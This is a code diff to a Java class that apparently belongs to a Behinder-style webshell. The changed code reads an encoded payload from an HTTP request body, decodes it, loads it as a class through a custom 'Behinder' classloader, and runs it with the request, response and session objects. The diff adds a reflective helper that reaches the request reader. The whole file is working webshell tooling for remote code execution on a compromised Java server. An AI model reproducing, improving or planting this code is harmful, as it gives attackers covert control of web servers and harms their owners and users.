@@ -44,9 +44,7 @@ public boolean equals(Object obj) {
4444 map .put ("request" , request );
4545 map .put ("response" , getInternalResponse (response ));
4646 map .put ("session" , session );
47- Method getReader = request .getClass ().getDeclaredMethod ("getReader" );
48- getReader .setAccessible (true );
49- String parameter = ((BufferedReader ) getReader .invoke (request )).readLine ();
47+ String parameter = ((BufferedReader ) invokeMethod (request , "getReader" )).readLine ();
5048 byte [] bytes = x (base64Decode (parameter ));
5149 Object instance = (new Behinder (this .getClass ().getClassLoader ())).g (bytes ).newInstance ();
5250 instance .equals (map );
@@ -122,4 +120,27 @@ public static byte[] base64Decode(String bs) {
122120 }
123121 return value ;
124122 }
123+
124+ @ SuppressWarnings ("all" )
125+ public static Object invokeMethod (Object obj , String methodName ) {
126+ try {
127+ Class <?> clazz = (obj instanceof Class ) ? (Class <?>) obj : obj .getClass ();
128+ Method method = null ;
129+ while (clazz != null && method == null ) {
130+ try {
131+ method = clazz .getMethod (methodName );
132+ } catch (NoSuchMethodException e ) {
133+ clazz = clazz .getSuperclass ();
134+ }
135+ }
136+ if (method == null ) {
137+ throw new NoSuchMethodException ("Method not found: " + methodName );
138+ }
139+
140+ method .setAccessible (true );
141+ return method .invoke (obj instanceof Class ? null : obj );
142+ } catch (Exception e ) {
143+ throw new RuntimeException ("Error invoking method: " + methodName , e );
144+ }
145+ }
125146}
0 commit comments